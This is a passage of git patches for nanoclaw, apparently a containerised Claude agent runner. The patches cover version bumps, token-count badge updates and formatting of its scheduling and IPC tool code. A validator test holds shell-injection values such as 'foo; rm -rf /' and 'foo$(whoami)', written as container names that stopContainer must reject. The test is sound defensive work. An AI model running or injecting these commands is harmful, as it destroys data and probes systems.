78bfb8df85be80c774b1410cb99ce39aae15bcbb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 30 Mar 2026 22:27:59 +0000 Subject: [PATCH 007/485] chore: bump version to 1.2.43 --- package-lock.json | 4 ++-- package.json | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index 5f6ec30..9578746 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "nanoclaw", - "version": "1.2.42", + "version": "1.2.43", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "nanoclaw", - "version": "1.2.42", + "version": "1.2.43", "dependencies": { "@onecli-sh/sdk": "^0.2.0", "better-sqlite3": "11.10.0", diff --git a/package.json b/package.json index a8dd43a..4592998 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "nanoclaw", - "version": "1.2.42", + "version": "1.2.43", "description": "Personal Claude assistant. Lightweight, secure, customizable.", "type": "module", "main": "dist/index.js", From 4c8b9cda936fc903cc05e390d7d6293eaa6d9257 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 30 Mar 2026 22:28:02 +0000 Subject: [PATCH 008/485] =?UTF-8?q?docs:=20update=20token=20count=20to=204?= =?UTF-8?q?2.6k=20tokens=20=C2=B7=2021%=20of=20context=20window?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- repo-tokens/badge.svg | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/repo-tokens/badge.svg b/repo-tokens/badge.svg index 93aeb17..84d32ec 100644 --- a/repo-tokens/badge.svg +++ b/repo-tokens/badge.svg @@ -1,5 +1,5 @@ - - 42.4k tokens, 21% of context window + + 42.6k tokens, 21% of context window @@ -15,8 +15,8 @@ tokens - - 42.4k + + 42.6k From 468c6170a08d15ea7406e1b86ed5c1f9214fb3a2 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 1 Apr 2026 21:50:59 +0300 Subject: [PATCH 009/485] style: run prettier and eslint on src/ Co-Authored-By: Claude Opus 4.6 (1M context) --- src/container-runtime.test.ts | 8 ++++++-- src/index.ts | 4 +++- src/ipc.ts | 6 +++--- 3 files changed, 12 insertions(+), 6 deletions(-) diff --git a/src/container-runtime.test.ts b/src/container-runtime.test.ts index fd43286..dbb2bbc 100644 --- a/src/container-runtime.test.ts +++ b/src/container-runtime.test.ts @@ -48,8 +48,12 @@ describe('stopContainer', () => { }); it('rejects names with shell metacharacters', () => { - expect(() => stopContainer('foo; rm -rf /')).toThrow('Invalid container name'); - expect(() => stopContainer('foo$(whoami)')).toThrow('Invalid container name'); + expect(() => stopContainer('foo; rm -rf /')).toThrow( + 'Invalid container name', + ); + expect(() => stopContainer('foo$(whoami)')).toThrow( + 'Invalid container name', + ); expect(() => stopContainer('foo`id`')).toThrow('Invalid container name'); expect(mockExecSync).not.toHaveBeenCalled(); }); diff --git a/src/index.ts b/src/index.ts index e186c40..a6b74cf 100644 --- a/src/index.ts +++ b/src/index.ts @@ -410,7 +410,9 @@ async function runAgent( const isStaleSession = sessionId && output.error && - /no conversation found|ENOENT.*\.jsonl|session.*not found/i.test(output.error); + /no conversation found|ENOENT.*\.jsonl|session.*not found/i.test( + output.error, + ); if (isStaleSession) { logger.warn( diff --git a/src/ipc.ts b/src/ipc.ts index a454fdf..e171671 100644 --- a/src/ipc.ts +++ b/src/ipc.ts @@ -441,9 +441,9 @@ export async function processTaskIpc( ); break; } - // Defense in depth: agent cannot set isMain via IPC. - // Preserve isMain from the existing registration so IPC config - // updates (e.g. adding additionalMounts) don't strip the flag. + // Defense in depth: agent cannot set isMain via IPC. + // Preserve isMain from the existing registration so IPC config + // updates (e.g. adding additionalMounts) don't strip the flag. const existingGroup = registeredGroups[data.jid]; deps.registerGroup(data.jid, { name: data.name, From 7b0d79a6f337202c141b958e51313c52278cbc13 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 1 Apr 2026 18:51:18 +0000 Subject: [PATCH 010/485] chore: bump version to 1.2.44 --- package-lock.json | 4 ++-- package.json | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index 9578746..40e9199 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "nanoclaw", - "version": "1.2.43", + "version": "1.2.44", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "nanoclaw", - "version": "1.2.43", + "version": "1.2.44", "dependencies": { "@onecli-sh/sdk": "^0.2.0", "better-sqlite3": "11.10.0", diff --git a/package.json b/package.json index 4592998..0924f8a 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "nanoclaw", - "version": "1.2.43", + "version": "1.2.44", "description": "Personal Claude assistant. Lightweight, secure, customizable.", "type": "module", "main": "dist/index.js", From 87e89147c934db87f1263160c435863e4ebf033c Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 1 Apr 2026 21:52:45 +0300 Subject: [PATCH 011/485] style: run prettier on container/agent-runner/src/ Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/index.ts | 278 ++++++++++++++------ container/agent-runner/src/ipc-mcp-stdio.ts | 231 +++++++++++++--- 2 files changed, 386 insertions(+), 123 deletions(-) diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index 25554f9..e0d6ff6 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -17,7 +17,11 @@ import fs from 'fs'; import path from 'path'; import { execFile } from 'child_process'; -import { query, HookCallback, PreCompactHookInput } from '@anthropic-ai/claude-agent-sdk'; +import { + query, + HookCallback, + PreCompactHookInput, +} from '@anthropic-ai/claude-agent-sdk'; import { fileURLToPath } from 'url'; interface ContainerInput { @@ -90,7 +94,9 @@ class MessageStream { yield this.queue.shift()!; } if (this.done) return; - await new Promise(r => { this.waiting = r; }); + await new Promise((r) => { + this.waiting = r; + }); this.waiting = null; } } @@ -100,7 +106,9 @@ async function readStdin(): Promise { return new Promise((resolve, reject) => { let data = ''; process.stdin.setEncoding('utf8'); - process.stdin.on('data', chunk => { data += chunk; }); + process.stdin.on('data', (chunk) => { + data += chunk; + }); process.stdin.on('end', () => resolve(data)); process.stdin.on('error', reject); }); @@ -119,7 +127,10 @@ function log(message: string): void { console.error(`[agent-runner] ${message}`); } -function getSessionSummary(sessionId: string, transcriptPath: string): string | null { +function getSessionSummary( + sessionId: string, + transcriptPath: string, +): string | null { const projectDir = path.dirname(transcriptPath); const indexPath = path.join(projectDir, 'sessions-index.json'); @@ -129,13 +140,17 @@ function getSessionSummary(sessionId: string, transcriptPath: string): string | } try { - const index: SessionsIndex = JSON.parse(fs.readFileSync(indexPath, 'utf-8')); - const entry = index.entries.find(e => e.sessionId === sessionId); + const index: SessionsIndex = JSON.parse( + fs.readFileSync(indexPath, 'utf-8'), + ); + const entry = index.entries.find((e) => e.sessionId === sessionId); if (entry?.summary) { return entry.summary; } } catch (err) { - log(`Failed to read sessions index: ${err instanceof Error ? err.message : String(err)}`); + log( + `Failed to read sessions index: ${err instanceof Error ? err.message : String(err)}`, + ); } return null; @@ -174,12 +189,18 @@ function createPreCompactHook(assistantName?: string): HookCallback { const filename = `${date}-${name}.md`; const filePath = path.join(conversationsDir, filename); - const markdown = formatTranscriptMarkdown(messages, summary, assistantName); + const markdown = formatTranscriptMarkdown( + messages, + summary, + assistantName, + ); fs.writeFileSync(filePath, markdown); log(`Archived conversation to ${filePath}`); } catch (err) { - log(`Failed to archive transcript: ${err instanceof Error ? err.message : String(err)}`); + log( + `Failed to archive transcript: ${err instanceof Error ? err.message : String(err)}`, + ); } return {}; @@ -212,9 +233,12 @@ function parseTranscript(content: string): ParsedMessage[] { try { const entry = JSON.parse(line); if (entry.type === 'user' && entry.message?.content) { - const text = typeof entry.message.content === 'string' - ? entry.message.content - : entry.message.content.map((c: { text?: string }) => c.text || '').join(''); + const text = + typeof entry.message.content === 'string' + ? entry.message.content + : entry.message.content + .map((c: { text?: string }) => c.text || '') + .join(''); if (text) messages.push({ role: 'user', content: text }); } else if (entry.type === 'assistant' && entry.message?.content) { const textParts = entry.message.content @@ -223,22 +247,26 @@ function parseTranscript(content: string): ParsedMessage[] { const text = textParts.join(''); if (text) messages.push({ role: 'assistant', content: text }); } - } catch { - } + } catch {} } return messages; } -function formatTranscriptMarkdown(messages: ParsedMessage[], title?: string | null, assistantName?: string): string { +function formatTranscriptMarkdown( + messages: ParsedMessage[], + title?: string | null, + assistantName?: string, +): string { const now = new Date(); - const formatDateTime = (d: Date) => d.toLocaleString('en-US', { - month: 'short', - day: 'numeric', - hour: 'numeric', - minute: '2-digit', - hour12: true - }); + const formatDateTime = (d: Date) => + d.toLocaleString('en-US', { + month: 'short', + day: 'numeric', + hour: 'numeric', + minute: '2-digit', + hour12: true, + }); const lines: string[] = []; lines.push(`# ${title || 'Conversation'}`); @@ -249,10 +277,11 @@ function formatTranscriptMarkdown(messages: ParsedMessage[], title?: string | nu lines.push(''); for (const msg of messages) { - const sender = msg.role === 'user' ? 'User' : (assistantName || 'Assistant'); - const content = msg.content.length > 2000 - ? msg.content.slice(0, 2000) + '...' - : msg.content; + const sender = msg.role === 'user' ? 'User' : assistantName || 'Assistant'; + const content = + msg.content.length > 2000 + ? msg.content.slice(0, 2000) + '...' + : msg.content; lines.push(`**${sender}**: ${content}`); lines.push(''); } @@ -265,7 +294,11 @@ function formatTranscriptMarkdown(messages: ParsedMessage[], title?: string | nu */ function shouldClose(): boolean { if (fs.existsSync(IPC_INPUT_CLOSE_SENTINEL)) { - try { fs.unlinkSync(IPC_INPUT_CLOSE_SENTINEL); } catch { /* ignore */ } + try { + fs.unlinkSync(IPC_INPUT_CLOSE_SENTINEL); + } catch { + /* ignore */ + } return true; } return false; @@ -278,8 +311,9 @@ function shouldClose(): boolean { function drainIpcInput(): string[] { try { fs.mkdirSync(IPC_INPUT_DIR, { recursive: true }); - const files = fs.readdirSync(IPC_INPUT_DIR) - .filter(f => f.endsWith('.json')) + const files = fs + .readdirSync(IPC_INPUT_DIR) + .filter((f) => f.endsWith('.json')) .sort(); const messages: string[] = []; @@ -292,8 +326,14 @@ function drainIpcInput(): string[] { messages.push(data.text); } } catch (err) { - log(`Failed to process input file ${file}: ${err instanceof Error ? err.message : String(err)}`); - try { fs.unlinkSync(filePath); } catch { /* ignore */ } + log( + `Failed to process input file ${file}: ${err instanceof Error ? err.message : String(err)}`, + ); + try { + fs.unlinkSync(filePath); + } catch { + /* ignore */ + } } } return messages; @@ -338,7 +378,11 @@ async function runQuery( containerInput: ContainerInput, sdkEnv: Record, resumeAt?: string, -): Promise<{ newSessionId?: string; lastAssistantUuid?: string; closedDuringQuery: boolean }> { +): Promise<{ + newSessionId?: string; + lastAssistantUuid?: string; + closedDuringQuery: boolean; +}> { const stream = new MessageStream(); stream.push(prompt); @@ -399,17 +443,32 @@ async function runQuery( resume: sessionId, resumeSessionAt: resumeAt, systemPrompt: globalClaudeMd - ? { type: 'preset' as const, preset: 'claude_code' as const, append: globalClaudeMd } + ? { + type: 'preset' as const, + preset: 'claude_code' as const, + append: globalClaudeMd, + } : undefined, allowedTools: [ 'Bash', - 'Read', 'Write', 'Edit', 'Glob', 'Grep', - 'WebSearch', 'WebFetch', - 'Task', 'TaskOutput', 'TaskStop', - 'TeamCreate', 'TeamDelete', 'SendMessage', - 'TodoWrite', 'ToolSearch', 'Skill', + 'Read', + 'Write', + 'Edit', + 'Glob', + 'Grep', + 'WebSearch', + 'WebFetch', + 'Task', + 'TaskOutput', + 'TaskStop', + 'TeamCreate', + 'TeamDelete', + 'SendMessage', + 'TodoWrite', + 'ToolSearch', + 'Skill', 'NotebookEdit', - 'mcp__nanoclaw__*' + 'mcp__nanoclaw__*', ], env: sdkEnv, permissionMode: 'bypassPermissions', @@ -427,12 +486,17 @@ async function runQuery( }, }, hooks: { - PreCompact: [{ hooks: [createPreCompactHook(containerInput.assistantName)] }], + PreCompact: [ + { hooks: [createPreCompactHook(containerInput.assistantName)] }, + ], }, - } + }, })) { messageCount++; - const msgType = message.type === 'system' ? `system/${(message as { subtype?: string }).subtype}` : message.type; + const msgType = + message.type === 'system' + ? `system/${(message as { subtype?: string }).subtype}` + : message.type; log(`[msg #${messageCount}] type=${msgType}`); if (message.type === 'assistant' && 'uuid' in message) { @@ -444,25 +508,39 @@ async function runQuery( log(`Session initialized: ${newSessionId}`); } - if (message.type === 'system' && (message as { subtype?: string }).subtype === 'task_notification') { - const tn = message as { task_id: string; status: string; summary: string }; - log(`Task notification: task=${tn.task_id} status=${tn.status} summary=${tn.summary}`); + if ( + message.type === 'system' && + (message as { subtype?: string }).subtype === 'task_notification' + ) { + const tn = message as { + task_id: string; + status: string; + summary: string; + }; + log( + `Task notification: task=${tn.task_id} status=${tn.status} summary=${tn.summary}`, + ); } if (message.type === 'result') { resultCount++; - const textResult = 'result' in message ? (message as { result?: string }).result : null; - log(`Result #${resultCount}: subtype=${message.subtype}${textResult ? ` text=${textResult.slice(0, 200)}` : ''}`); + const textResult = + 'result' in message ? (message as { result?: string }).result : null; + log( + `Result #${resultCount}: subtype=${message.subtype}${textResult ? ` text=${textResult.slice(0, 200)}` : ''}`, + ); writeOutput({ status: 'success', result: textResult || null, - newSessionId + newSessionId, }); } } ipcPolling = false; - log(`Query done. Messages: ${messageCount}, results: ${resultCount}, lastAssistantUuid: ${lastAssistantUuid || 'none'}, closedDuringQuery: ${closedDuringQuery}`); + log( + `Query done. Messages: ${messageCount}, results: ${resultCount}, lastAssistantUuid: ${lastAssistantUuid || 'none'}, closedDuringQuery: ${closedDuringQuery}`, + ); return { newSessionId, lastAssistantUuid, closedDuringQuery }; } @@ -478,40 +556,47 @@ async function runScript(script: string): Promise { fs.writeFileSync(scriptPath, script, { mode: 0o755 }); return new Promise((resolve) => { - execFile('bash', [scriptPath], { - timeout: SCRIPT_TIMEOUT_MS, - maxBuffer: 1024 * 1024, - env: process.env, - }, (error, stdout, stderr) => { - if (stderr) { - log(`Script stderr: ${stderr.slice(0, 500)}`); - } + execFile( + 'bash', + [scriptPath], + { + timeout: SCRIPT_TIMEOUT_MS, + maxBuffer: 1024 * 1024, + env: process.env, + }, + (error, stdout, stderr) => { + if (stderr) { + log(`Script stderr: ${stderr.slice(0, 500)}`); + } - if (error) { - log(`Script error: ${error.message}`); - return resolve(null); - } - - // Parse last non-empty line of stdout as JSON - const lines = stdout.trim().split('\n'); - const lastLine = lines[lines.length - 1]; - if (!lastLine) { - log('Script produced no output'); - return resolve(null); - } - - try { - const result = JSON.parse(lastLine); - if (typeof result.wakeAgent !== 'boolean') { - log(`Script output missing wakeAgent boolean: ${lastLine.slice(0, 200)}`); + if (error) { + log(`Script error: ${error.message}`); return resolve(null); } - resolve(result as ScriptResult); - } catch { - log(`Script output is not valid JSON: ${lastLine.slice(0, 200)}`); - resolve(null); - } - }); + + // Parse last non-empty line of stdout as JSON + const lines = stdout.trim().split('\n'); + const lastLine = lines[lines.length - 1]; + if (!lastLine) { + log('Script produced no output'); + return resolve(null); + } + + try { + const result = JSON.parse(lastLine); + if (typeof result.wakeAgent !== 'boolean') { + log( + `Script output missing wakeAgent boolean: ${lastLine.slice(0, 200)}`, + ); + return resolve(null); + } + resolve(result as ScriptResult); + } catch { + log(`Script output is not valid JSON: ${lastLine.slice(0, 200)}`); + resolve(null); + } + }, + ); }); } @@ -521,13 +606,17 @@ async function main(): Promise { try { const stdinData = await readStdin(); containerInput = JSON.parse(stdinData); - try { fs.unlinkSync('/tmp/input.json'); } catch { /* may not exist */ } + try { + fs.unlinkSync('/tmp/input.json'); + } catch { + /* may not exist */ + } log(`Received input for group: ${containerInput.groupFolder}`); } catch (err) { writeOutput({ status: 'error', result: null, - error: `Failed to parse input: ${err instanceof Error ? err.message : String(err)}` + error: `Failed to parse input: ${err instanceof Error ? err.message : String(err)}`, }); process.exit(1); } @@ -543,7 +632,11 @@ async function main(): Promise { fs.mkdirSync(IPC_INPUT_DIR, { recursive: true }); // Clean up stale _close sentinel from previous container runs - try { fs.unlinkSync(IPC_INPUT_CLOSE_SENTINEL); } catch { /* ignore */ } + try { + fs.unlinkSync(IPC_INPUT_CLOSE_SENTINEL); + } catch { + /* ignore */ + } // Build initial prompt (drain any pending IPC messages too) let prompt = containerInput.prompt; @@ -562,7 +655,9 @@ async function main(): Promise { const scriptResult = await runScript(containerInput.script); if (!scriptResult || !scriptResult.wakeAgent) { - const reason = scriptResult ? 'wakeAgent=false' : 'script error/no output'; + const reason = scriptResult + ? 'wakeAgent=false' + : 'script error/no output'; log(`Script decided not to wake agent: ${reason}`); writeOutput({ status: 'success', @@ -580,9 +675,18 @@ async function main(): Promise { let resumeAt: string | undefined; try { while (true) { - log(`Starting query (session: ${sessionId || 'new'}, resumeAt: ${resumeAt || 'latest'})...`); + log( + `Starting query (session: ${sessionId || 'new'}, resumeAt: ${resumeAt || 'latest'})...`, + ); - const queryResult = await runQuery(prompt, sessionId, mcpServerPath, containerInput, sdkEnv, resumeAt); + const queryResult = await runQuery( + prompt, + sessionId, + mcpServerPath, + containerInput, + sdkEnv, + resumeAt, + ); if (queryResult.newSessionId) { sessionId = queryResult.newSessionId; } @@ -620,7 +724,7 @@ async function main(): Promise { status: 'error', result: null, newSessionId: sessionId, - error: errorMessage + error: errorMessage, }); process.exit(1); } diff --git a/container/agent-runner/src/ipc-mcp-stdio.ts b/container/agent-runner/src/ipc-mcp-stdio.ts index 5b03478..fb429ed 100644 --- a/container/agent-runner/src/ipc-mcp-stdio.ts +++ b/container/agent-runner/src/ipc-mcp-stdio.ts @@ -44,7 +44,12 @@ server.tool( "Send a message to the user or group immediately while you're still running. Use this for progress updates or to send multiple messages. You can call this multiple times.", { text: z.string().describe('The message text to send'), - sender: z.string().optional().describe('Your role/identity name (e.g. "Researcher"). When set, messages appear from a dedicated bot in Telegram.'), + sender: z + .string() + .optional() + .describe( + 'Your role/identity name (e.g. "Researcher"). When set, messages appear from a dedicated bot in Telegram.', + ), }, async (args) => { const data: Record = { @@ -86,12 +91,39 @@ SCHEDULE VALUE FORMAT (all times are LOCAL timezone): \u2022 interval: Milliseconds between runs (e.g., "300000" for 5 minutes, "3600000" for 1 hour) \u2022 once: Local time WITHOUT "Z" suffix (e.g., "2026-02-01T15:30:00"). Do NOT use UTC/Z suffix.`, { - prompt: z.string().describe('What the agent should do when the task runs. For isolated mode, include all necessary context here.'), - schedule_type: z.enum(['cron', 'interval', 'once']).describe('cron=recurring at specific times, interval=recurring every N ms, once=run once at specific time'), - schedule_value: z.string().describe('cron: "*/5 * * * *" | interval: milliseconds like "300000" | once: local timestamp like "2026-02-01T15:30:00" (no Z suffix!)'), - context_mode: z.enum(['group', 'isolated']).default('group').describe('group=runs with chat history and memory, isolated=fresh session (include context in prompt)'), - target_group_jid: z.string().optional().describe('(Main group only) JID of the group to schedule the task for. Defaults to the current group.'), - script: z.string().optional().describe('Optional bash script to run before waking the agent. Script must output JSON on the last line of stdout: { "wakeAgent": boolean, "data"?: any }. If wakeAgent is false, the agent is not called. Test your script with bash -c "..." before scheduling.'), + prompt: z + .string() + .describe( + 'What the agent should do when the task runs. For isolated mode, include all necessary context here.', + ), + schedule_type: z + .enum(['cron', 'interval', 'once']) + .describe( + 'cron=recurring at specific times, interval=recurring every N ms, once=run once at specific time', + ), + schedule_value: z + .string() + .describe( + 'cron: "*/5 * * * *" | interval: milliseconds like "300000" | once: local timestamp like "2026-02-01T15:30:00" (no Z suffix!)', + ), + context_mode: z + .enum(['group', 'isolated']) + .default('group') + .describe( + 'group=runs with chat history and memory, isolated=fresh session (include context in prompt)', + ), + target_group_jid: z + .string() + .optional() + .describe( + '(Main group only) JID of the group to schedule the task for. Defaults to the current group.', + ), + script: z + .string() + .optional() + .describe( + 'Optional bash script to run before waking the agent. Script must output JSON on the last line of stdout: { "wakeAgent": boolean, "data"?: any }. If wakeAgent is false, the agent is not called. Test your script with bash -c "..." before scheduling.', + ), }, async (args) => { // Validate schedule_value before writing IPC @@ -100,7 +132,12 @@ SCHEDULE VALUE FORMAT (all times are LOCAL timezone): CronExpressionParser.parse(args.schedule_value); } catch { return { - content: [{ type: 'text' as const, text: `Invalid cron: "${args.schedule_value}". Use format like "0 9 * * *" (daily 9am) or "*/5 * * * *" (every 5 min).` }], + content: [ + { + type: 'text' as const, + text: `Invalid cron: "${args.schedule_value}". Use format like "0 9 * * *" (daily 9am) or "*/5 * * * *" (every 5 min).`, + }, + ], isError: true, }; } @@ -108,28 +145,47 @@ SCHEDULE VALUE FORMAT (all times are LOCAL timezone): const ms = parseInt(args.schedule_value, 10); if (isNaN(ms) || ms <= 0) { return { - content: [{ type: 'text' as const, text: `Invalid interval: "${args.schedule_value}". Must be positive milliseconds (e.g., "300000" for 5 min).` }], + content: [ + { + type: 'text' as const, + text: `Invalid interval: "${args.schedule_value}". Must be positive milliseconds (e.g., "300000" for 5 min).`, + }, + ], isError: true, }; } } else if (args.schedule_type === 'once') { - if (/[Zz]$/.test(args.schedule_value) || /[+-]\d{2}:\d{2}$/.test(args.schedule_value)) { + if ( + /[Zz]$/.test(args.schedule_value) || + /[+-]\d{2}:\d{2}$/.test(args.schedule_value) + ) { return { - content: [{ type: 'text' as const, text: `Timestamp must be local time without timezone suffix. Got "${args.schedule_value}" — use format like "2026-02-01T15:30:00".` }], + content: [ + { + type: 'text' as const, + text: `Timestamp must be local time without timezone suffix. Got "${args.schedule_value}" — use format like "2026-02-01T15:30:00".`, + }, + ], isError: true, }; } const date = new Date(args.schedule_value); if (isNaN(date.getTime())) { return { - content: [{ type: 'text' as const, text: `Invalid timestamp: "${args.schedule_value}". Use local time format like "2026-02-01T15:30:00".` }], + content: [ + { + type: 'text' as const, + text: `Invalid timestamp: "${args.schedule_value}". Use local time format like "2026-02-01T15:30:00".`, + }, + ], isError: true, }; } } // Non-main groups can only schedule for themselves - const targetJid = isMain && args.target_group_jid ? args.target_group_jid : chatJid; + const targetJid = + isMain && args.target_group_jid ? args.target_group_jid : chatJid; const taskId = `task-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; @@ -149,7 +205,12 @@ SCHEDULE VALUE FORMAT (all times are LOCAL timezone): writeIpcFile(TASKS_DIR, data); return { - content: [{ type: 'text' as const, text: `Task ${taskId} scheduled: ${args.schedule_type} - ${args.schedule_value}` }], + content: [ + { + type: 'text' as const, + text: `Task ${taskId} scheduled: ${args.schedule_type} - ${args.schedule_value}`, + }, + ], }; }, ); @@ -163,30 +224,56 @@ server.tool( try { if (!fs.existsSync(tasksFile)) { - return { content: [{ type: 'text' as const, text: 'No scheduled tasks found.' }] }; + return { + content: [ + { type: 'text' as const, text: 'No scheduled tasks found.' }, + ], + }; } const allTasks = JSON.parse(fs.readFileSync(tasksFile, 'utf-8')); const tasks = isMain ? allTasks - : allTasks.filter((t: { groupFolder: string }) => t.groupFolder === groupFolder); + : allTasks.filter( + (t: { groupFolder: string }) => t.groupFolder === groupFolder, + ); if (tasks.length === 0) { - return { content: [{ type: 'text' as const, text: 'No scheduled tasks found.' }] }; + return { + content: [ + { type: 'text' as const, text: 'No scheduled tasks found.' }, + ], + }; } const formatted = tasks .map( - (t: { id: string; prompt: string; schedule_type: string; schedule_value: string; status: string; next_run: string }) => + (t: { + id: string; + prompt: string; + schedule_type: string; + schedule_value: string; + status: string; + next_run: string; + }) => `- [${t.id}] ${t.prompt.slice(0, 50)}... (${t.schedule_type}: ${t.schedule_value}) - ${t.status}, next: ${t.next_run || 'N/A'}`, ) .join('\n'); - return { content: [{ type: 'text' as const, text: `Scheduled tasks:\n${formatted}` }] }; + return { + content: [ + { type: 'text' as const, text: `Scheduled tasks:\n${formatted}` }, + ], + }; } catch (err) { return { - content: [{ type: 'text' as const, text: `Error reading tasks: ${err instanceof Error ? err.message : String(err)}` }], + content: [ + { + type: 'text' as const, + text: `Error reading tasks: ${err instanceof Error ? err.message : String(err)}`, + }, + ], }; } }, @@ -207,7 +294,14 @@ server.tool( writeIpcFile(TASKS_DIR, data); - return { content: [{ type: 'text' as const, text: `Task ${args.task_id} pause requested.` }] }; + return { + content: [ + { + type: 'text' as const, + text: `Task ${args.task_id} pause requested.`, + }, + ], + }; }, ); @@ -226,7 +320,14 @@ server.tool( writeIpcFile(TASKS_DIR, data); - return { content: [{ type: 'text' as const, text: `Task ${args.task_id} resume requested.` }] }; + return { + content: [ + { + type: 'text' as const, + text: `Task ${args.task_id} resume requested.`, + }, + ], + }; }, ); @@ -245,7 +346,14 @@ server.tool( writeIpcFile(TASKS_DIR, data); - return { content: [{ type: 'text' as const, text: `Task ${args.task_id} cancellation requested.` }] }; + return { + content: [ + { + type: 'text' as const, + text: `Task ${args.task_id} cancellation requested.`, + }, + ], + }; }, ); @@ -255,19 +363,38 @@ server.tool( { task_id: z.string().describe('The task ID to update'), prompt: z.string().optional().describe('New prompt for the task'), - schedule_type: z.enum(['cron', 'interval', 'once']).optional().describe('New schedule type'), - schedule_value: z.string().optional().describe('New schedule value (see schedule_task for format)'), - script: z.string().optional().describe('New script for the task. Set to empty string to remove the script.'), + schedule_type: z + .enum(['cron', 'interval', 'once']) + .optional() + .describe('New schedule type'), + schedule_value: z + .string() + .optional() + .describe('New schedule value (see schedule_task for format)'), + script: z + .string() + .optional() + .describe( + 'New script for the task. Set to empty string to remove the script.', + ), }, async (args) => { // Validate schedule_value if provided - if (args.schedule_type === 'cron' || (!args.schedule_type && args.schedule_value)) { + if ( + args.schedule_type === 'cron' || + (!args.schedule_type && args.schedule_value) + ) { if (args.schedule_value) { try { CronExpressionParser.parse(args.schedule_value); } catch { return { - content: [{ type: 'text' as const, text: `Invalid cron: "${args.schedule_value}".` }], + content: [ + { + type: 'text' as const, + text: `Invalid cron: "${args.schedule_value}".`, + }, + ], isError: true, }; } @@ -277,7 +404,12 @@ server.tool( const ms = parseInt(args.schedule_value, 10); if (isNaN(ms) || ms <= 0) { return { - content: [{ type: 'text' as const, text: `Invalid interval: "${args.schedule_value}".` }], + content: [ + { + type: 'text' as const, + text: `Invalid interval: "${args.schedule_value}".`, + }, + ], isError: true, }; } @@ -292,12 +424,21 @@ server.tool( }; if (args.prompt !== undefined) data.prompt = args.prompt; if (args.script !== undefined) data.script = args.script; - if (args.schedule_type !== undefined) data.schedule_type = args.schedule_type; - if (args.schedule_value !== undefined) data.schedule_value = args.schedule_value; + if (args.schedule_type !== undefined) + data.schedule_type = args.schedule_type; + if (args.schedule_value !== undefined) + data.schedule_value = args.schedule_value; writeIpcFile(TASKS_DIR, data); - return { content: [{ type: 'text' as const, text: `Task ${args.task_id} update requested.` }] }; + return { + content: [ + { + type: 'text' as const, + text: `Task ${args.task_id} update requested.`, + }, + ], + }; }, ); @@ -307,15 +448,28 @@ server.tool( Use available_groups.json to find the JID for a group. The folder name must be channel-prefixed: "{channel}_{group-name}" (e.g., "whatsapp_family-chat", "telegram_dev-team", "discord_general"). Use lowercase with hyphens for the group name part.`, { - jid: z.string().describe('The chat JID (e.g., "120363336345536173@g.us", "tg:-1001234567890", "dc:1234567890123456")'), + jid: z + .string() + .describe( + 'The chat JID (e.g., "120363336345536173@g.us", "tg:-1001234567890", "dc:1234567890123456")', + ), name: z.string().describe('Display name for the group'), - folder: z.string().describe('Channel-prefixed folder name (e.g., "whatsapp_family-chat", "telegram_dev-team")'), + folder: z + .string() + .describe( + 'Channel-prefixed folder name (e.g., "whatsapp_family-chat", "telegram_dev-team")', + ), trigger: z.string().describe('Trigger word (e.g., "@Andy")'), }, async (args) => { if (!isMain) { return { - content: [{ type: 'text' as const, text: 'Only the main group can register new groups.' }], + content: [ + { + type: 'text' as const, + text: 'Only the main group can register new groups.', + }, + ], isError: true, }; } @@ -332,7 +486,12 @@ Use available_groups.json to find the JID for a group. The folder name must be c writeIpcFile(TASKS_DIR, data); return { - content: [{ type: 'text' as const, text: `Group "${args.name}" registered. It will start receiving messages immediately.` }], + content: [ + { + type: 'text' as const, + text: `Group "${args.name}" registered. It will start receiving messages immediately.`, + }, + ], }; }, ); From 4c7bc80299fd5d3b1f10d7044cef526d9b439d18 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 1 Apr 2026 18:53:21 +0000 Subject: [PATCH 012/485] chore: bump version to 1.2.45 --- package-lock.json | 4 ++-- package.json | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index 40e9199..f33770a 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "nanoclaw", - "version": "1.2.44", + "version": "1.2.45", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "nanoclaw", - "version": "1.2.44", + "version": "1.2.45", "dependencies": { "@onecli-sh/sdk": "^0.2.0", "better-sqlite3": "11.10.0", diff --git a/package.json b/package.json index 0924f8a..c763e74 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "nanoclaw", - "version": "1.2.44", + "version": "1.2.45", "description": "Personal Claude assistant. Lightweight, secure, customizable.", "type": "module", "main": "dist/index.js", From 51f50bbe85c905aefc8488c20ff189954ba05f28 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 1 Apr 2026 18:53:23 +0000 Subject: [PATCH 013/485] =?UTF-8?q?docs:=20update=20token=20count=20to=204?= =?UTF-8?q?3.0k=20tokens=20=C2=B7=2022%=20of=20context=20window?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- repo-tokens/badge.svg | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/repo-tokens/badge.svg 